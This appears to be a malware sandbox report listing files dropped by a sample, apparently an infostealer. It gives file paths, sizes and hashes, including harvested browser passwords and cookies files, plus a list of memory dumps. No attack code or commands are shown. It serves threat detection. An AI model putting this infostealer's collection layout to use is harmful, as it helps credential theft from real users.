SHA512 a54374414e571d74cba427aeebaeb895359c89419bfc690dc42e8ae937a578b8e51adb52eb013b4180efcbd9e2e0755068e00aed229f5b415465523b83e3d839
SSDEEP 96:Krv90DEH4HzYxzW1YmWYFcloKMYd0XXItYYwLuUqYH8k:eApzY9dmWYFLKMYd+ItYYzUqYHd
TLSH
T175918B0E8C71A4CA1F92441EA51C874DFF32B92377443084A7ADD594B371E8EAE963CA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

runtime-trace.log

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\runtime-trace.log
Size 1KB
SHA256 6d5a4c192f13353f1a693e4878c93b8bf9eaa46b8c00f0b9290785322c148743
MD5 aaf1a14bcc4256633d94752c64f71d21
SHA1 0eaf2b8b9d7d92c69156d725efade507c83805f7
SHA512 2572095f13ff6d7de4e393bf625330037969d3e4d8a3bb4f89a5f69f1f2b281bae457d84c1929c1ce7a1abf053b683a58d6c52939c08f91dc708c8b3cd7fba8f
TLSH
T1F7316F5D8CB190C64FD7841BF61C8B4EDE32B92377506084A7AC9A6CB372D4EDE62385
MD5 SHA1 SHA512 TLSH

Submit Download

sysaudio.tar.gz

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\sysaudio.tar.gz
Size 32.5MB
SHA256 ebf882e4fc2afc82afdeb6ff48da8d94f8488ceb39d72b69c6a9a8a6a0b0fc21
MD5 74bd1f529ab800cb459a5d1f97157dd6
SHA1 898502629c9dbe4612d32094785c3098c6cc41d0
SHA512 a636e9741c7aaca9e6a042b6d368314be84b96e79e082eb9c27c6c408bee43b0b240586a751cdb3f5e8faec7a6ad15197436283df252cbe36e2ba187887c90bc
SSDEEP 786432:AUh3ur1z4PVhQrvBSkYrrmDeHqu7nVl+SkLhGATm9oO5u:AU9ur+hQrBGyDszj+tLhf6+O5u
TLSH
T1627733AE97725789D93B3D1DA135BEAF74C2C802B200CE75F362D2BD8212ED241E561D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b479d64e5b9aa057f63043f3f99113a4be8e703d1cf3dc7e9e17fd42507b81bd
MD5 6d8a86c18d0d0bd3a163105d9d073b63
SHA1 dfeaa0108e34b0bd9e142c6bebbf2ec38ba9837b
SHA512 def31ed516fd383a8623a82f214ca802719b1f7abe86b848bd5f2e0e5957e5bbf718fc451302258b901aef36fdd3211765022202746668c7b7dc10eef927234a
TLSH
T1C931CC2FF7CC82D4D85E0436408DA82432F587DBC0DEDEABA685D440642F595EE5EB50
MD5 SHA1 SHA512 TLSH

Submit Download

1ef462691b5a4f81_wh.json

Path C:\Users\Admin\AppData\Local\Temp\1ef462691b5a4f81_wh.json
Size 107B
SHA256 53dd3a4e9370ea976c49f3925565aac62e27879fc4efe75a8a29ddb27af6cf57
MD5 09754a1f3642ef1f2eb0ec29a3c24bfc
SHA1 4dd7ed6d41a78b6fef5f10509fd44658aff7c5b3
SHA512 bab374e266cc3f31961ffdf90eacf634f2d0bd1d1df428bab84ef3276e89fca817688ac755413a9595fb8076e40385161ff5fc38e70f84a54b6671bc259ac2ac
TLSH
T119B0122900478F0DFFD15D44C00B908598D4955102840D808E75BDA883E5BD1E64A30B
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_di5krjjw.ak2.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_di5krjjw.ak2.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

0f09d21b045444af966b97ac248b06f2.dat

Path C:\Users\Admin\AppData\Local\Temp\cv-6795836071609072707\0f09d21b045444af966b97ac248b06f2.dat
Size 16.6MB
SHA256 c8dd0164814a30648e740f098f132cc4474fcec4dd1396016ec204dc3582aa00
MD5 41b74cdfe4acf2f19ae1b60311f5aada
SHA1 afcbfe1842c8a6f8f4b91341a6b2a53c1dea0165
SHA512 9953407ed30526355014ea923bf9944e2536d8fb252d4bec160e0b87b81708ce08657a5fac5cdd9b1bd3467b898ac9bc9f3f495c3249db226f0ede399f295923
SSDEEP 393216:PSfA2sn6xC8sJ0qpRtR/OPdJEJupsOw1q8aHgf3CeGsDG:afA16B+VFReEYpsj1PaHgvZ3G
TLSH
T1FD0723136EDAC579DD6F54F352C281862CAE15A4AC0BE07F07A05FC58A60C4B4B52FFA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jna14293631851289948706.dll

Path C:\Users\Admin\AppData\Local\Temp\jna-63116079\jna14293631851289948706.dll
Size 248KB
SHA256 69c45175ecfd25af023f96ac0bb2c45e6a95e3ba8a5a50ee7969ccab14825c44
MD5 719d6ba1946c25aa61ce82f90d77ffd5
SHA1 94d2191378cac5719daecc826fc116816284c406
SHA512 119152b624948b76921aa91a5024006ef7c8fdbfe5f6fe71b1ec9f2c0e504b22508ff438c4183e60fa8de93eb35a8c7ccdda3a686e3c2f65c8185f1dd2ef248b
SSDEEP 6144:tO+uZb5K8Dy+Zkt9dHlJ1ybBEleb906wslm/m+yygW:tO+MbMOEe3m
TLSH
T19B440807A7B688E5E8B7C03D44236A12F6B178294320EBEB47444A575F67BE0DB3E750
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

passwords.txt

Path C:\Users\Admin\AppData\Local\Temp\vv\3bdnl7sw\Browser-Datas\firefox\wg40zd9z.default-release\passwords.txt
Size 21B
SHA256 b5986779043d6e3a7e9f411159ba2ef39847b28a39d4b020ac9b60c70ca95de2
MD5 ea331728cc21bf3dd5c23a7758f76775
SHA1 165083d87b103ea32d24c73893ecc5643a2660fb
SHA512 15558feb5cfeeee84a31c06b6231938d19788505f9d565b4601a47c54f151e2485387e508c1b538293536154d156a2a4331ee90c5157faa6095d77538ec89d9f
MD5 SHA1 SHA512

Submit Download

cookies.txt

Path C:\Users\Admin\AppData\Local\Temp\vv\3bdnl7sw\Browser-Datas\google_chrome\default\cookies.txt
Size 29B
SHA256 ec7d530ef7080f72c121ce737dcfb856a2682425bcf991c5417121b2abfc0af8
MD5 3eb4f11763bc27b95185777e71c7cc65
SHA1 d657eb56638212f98e35e14de4ba8b1f9b3f4729
SHA512 22193c0e5857ca63230a0418133d433de0e5fb41cccdcb032020af3cccecd07ba95a2c9f25c56c72028fc288c2b2e672d863d2e5d319a4a25fc8c3cf87820ba6
MD5 SHA1 SHA512

Submit Download

passwords.txt

Path C:\Users\Admin\AppData\Local\Temp\vv\3bdnl7sw\Browser-Datas\google_chrome\default\passwords.txt
Size 13B
SHA256 de1de509b079d79461dba95b1abb857faab70698ca9a8e1fc562ca647b1debd4
MD5 cba6c7f4cacbebce64e97d0a9d2e55e3
SHA1 b746fb47f83257d06a468703530ca57aee806541
SHA512 7c36301b75a952d76ce9539691e548549eca469df0a0d8a2397cb83ff511fd2843f69ffcf6de3835a8f70bbe58c23ee23db868bb98492fb0f8699abd142c34f6
MD5 SHA1 SHA512

Submit Download

logs.txt

Path C:\Users\Admin\AppData\Local\Temp\vv\3bdnl7sw\logs\logs.txt
Size 4KB
SHA256 1884582a92fdc5187149c7d4a20b634a1a8c224432280845b90f33a215607c53
MD5 f671e86dcc28e6862637d7d700534c28
SHA1 782b562a481233e4c0e58e6fccc382ff4e4e3989
SHA512 f609ec544ddce7ca1d9125754733991537fa4897c69a9ac2080aa63aa447ede0a54b560fead90847e2525867f2892d25eba463d29df5e97c0a45beaef33dfef2
SSDEEP 96:u29f+DfoJBjK60zXSsLats4Ueocup8EDqXkxfhYFmU4jnLHmDUYqo20kmTlmjDsn:uZDQ/+NzCPk8XFmUAHS
TLSH
T112914456DBEDF0F775C09423531901097C6C790A6E5A3AC04B4D999820C1F8A7EAFFAD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

logs.txt

Path C:\Users\Admin\AppData\Local\Temp\vv\lr0ffh4v\logs\logs.txt
Size 4KB
SHA256 f6fc052682546768658383fa838b6823a3a8b6679bbd1193ef8e1bd8134c5ec9
MD5 0d40799ff386f32ae52ed1e699f6893a
SHA1 3e88f6b88a315ddf0715cbd4c7c992e1408e488f
SHA512 39fbbea5d2f9e166cbb9a04e44f3118c18699d21818a9139242d6e47f5705f5b8286f7bbf143151ede49e9de02822f546daee8baafeaa371c7f6074cf05742f3
SSDEEP 96:u2PfhDf0Jvj5U6cMMLQWq4X3uzSAsMYl4cBJ38EAwKOwZfQ4XIxvev8il3xXneUf:uMDM1aRBLQz4nMKt81NeUf
TLSH
T1BD915F4BCBEDA4B776D05432132501097C58BA0E2D6A3AF09B4E81DC6141F497E6EFAE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sqlite-3.45.1.0-3c2f9417-5764-43cb-ba3f-35e756eb377e-sqlitejdbc.dll

Path C:\Users\Admin\AppData\Local\Temp\vv\lr0ffh4v\sqlite-native\sqlite-3.45.1.0-3c2f9417-5764-43cb-ba3f-35e756eb377e-sqlitejdbc.dll
Size 946KB
SHA256 d7098290c4f013c6cbfb731e4db28053e377fdd34f3a41811eccfb485c3efb49
MD5 cd7ebbb31c4782708b3c8accc6458ae7
SHA1 52b904182056d59defb6543b7f424895785c18f7
SHA512 5b2ab3f646998bf1320afc0cf832e61332d3bf17af941c54f21f9e2ddde9d08430b5b6c204ef693a54492eb4650332bb06d15dea3cb3bc0a4c8fb65654581506
SSDEEP 24576:USiCV0DvBp8w+IQDAKazEK5pQ3zG2DpqPMqBFk9:UmwpXrQkKuIqPMqBF
TLSH
T123254A13E3D244FDC57BC2B0872FE723B632F4492134A94F6AA48B642E61E60975F758
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

83aa4cc77f591dfc2374580bbd95f6ba_9bc48744-1687-4154-8431-50ad0ec4c3a7

Path C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-4046655672-1449839301-2197395821-1000\83aa4cc77f591dfc2374580bbd95f6ba_9bc48744-1687-4154-8431-50ad0ec4c3a7
Size 45B
SHA256 11e6aca8e682c046c83b721eeb5c72c5ef03cb5936c60df6f4993511ddc61238
MD5 c8366ae350e7019aefc9d1e6e6a498c6
SHA1 5731d8a3e6568a5f2dfbbc87e3db9637df280b61
SHA512 33c980d5a638bfc791de291ebf4b6d263b384247ab27f261a54025108f2f85374b579a026e545f81395736dd40fa4696f2163ca17640dd47f1c42bc9971b18cd
MD5 SHA1 SHA512

Submit Download

memory/1796-932-0x00007FFBB1DA0000-0x00007FFBB1E94000-memory.dmp

Download

memory/4360-863-0x0000024149E80000-0x0000024149F32000-memory.dmp

Download

memory/4572-14-0x000001C268880000-0x000001C268A42000-memory.dmp

Download

memory/4572-12-0x000001C268240000-0x000001C268262000-memory.dmp

Download

memory/4572-15-0x000001C268F80000-0x000001C2694A8000-memory.dmp

Download

memory/5404-271-0x00000220D9B80000-0x00000220D9BAA000-memory.dmp

Download

memory/5404-270-0x00000220D9B20000-0x00000220D9B2A000-memory.dmp

Download

memory/5404-269-0x00000220D9DD0000-0x00000220D9E82000-memory.dmp

Download

memory/5404-272-0x00000220D9B80000-0x00000220D9BA4000-memory.dmp

Download

memory/5404-268-0x00000220D9B30000-0x00000220D9B4E000-memory.dmp

Download

memory/5868-1242-0x00007FFBAADD0000-0x00007FFBAAEC4000-memory.dmp

Download